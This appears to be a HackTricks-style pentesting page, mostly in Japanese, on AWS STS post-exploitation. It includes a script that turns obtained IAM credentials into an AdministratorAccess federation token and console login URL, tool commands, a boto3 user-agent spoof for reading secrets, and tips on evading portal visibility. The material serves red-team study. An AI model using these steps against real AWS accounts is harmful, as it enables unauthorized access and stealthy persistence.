# AWS - STS Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## STS

詳細については:

{{#ref}}
../../aws-services/aws-iam-enum.md
{{#endref}}

### From IAM Creds to Console

IAM credentials を取得した場合、以下のツールを使用して **web console にアクセス** することに興味があるかもしれません。\
user/role は **`sts:GetFederationToken`** 権限を持っている必要があります。

#### カスタムスクリプト

以下のスクリプトはデフォルトのプロファイルとデフォルトの AWS ロケーション（gov と cn ではない）を使用して、web console にログインするために使用できる署名付き URL を生成します:
```bash
# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)

if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi

# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')

# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")

# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"

# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)


# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
```
#### aws_consoler

このツールを使って、**Webコンソールのリンクを生成**できます: [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
```bash
cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console
```
> [!WARNING]
> IAMユーザーに `sts:GetFederationToken` 権限があることを確認するか、ロールを引き受けるための権限を与えてください。

#### aws-vault

[**aws-vault**](https://github.com/99designs/aws-vault) は開発環境で AWS の認証情報を安全に保存・アクセスするためのツールです。
```bash
aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith
```
> [!NOTE]
> **aws-vault** を使って **ブラウザコンソールセッション** を取得することもできます

### Web Console から IAM Creds へ

The browser extension **<https://github.com/AI-redteam/clier>** is capable of intercepting from the network IAM credentials before they are protected in the memory of the browser.

### **Python から User-Agent 制限をバイパス**

If there is a **restriction to perform certain actions based on the user agent** used (like restricting the use of python boto3 library based on the user agent) it's possible to use the previous technique to **connect to the web console via a browser**, or you could directly **modify the boto3 user-agent** by doing:
```bash
# Shared by ex16x41
# Create a client
session = boto3.Session(profile_name="lab6")
client = session.client("secretsmanager", region_name="us-east-1")

# Change user agent of the client
client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda params, **kwargs: params['headers'].update({'User-Agent': 'my-custom-tool'}) )

# Perform the action
response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])
```
### **`sts:GetFederationToken`**

この権限があれば、これを実行しているユーザーの持つ権限に制限されたフェデレーテッドアイデンティティを作成できます。
```bash
aws sts get-federation-token --name <username>
```
sts:GetFederationToken によって返されるトークンは呼び出し元ユーザーのフェデレーテッド・アイデンティティに属しますが、権限は制限されます。たとえユーザーが管理者権限を持っていても、IAM ユーザーの一覧表示やポリシーのアタッチなどの操作はフェデレーテッドトークンでは実行できません。

さらに、この方法はややステルス性が高く、フェデレーテッドユーザーは AWS Portal に表示されず、CloudTrail ログや監視ツールでのみ確認できます。

{{#include ../../../../banners/hacktricks-training.md}}
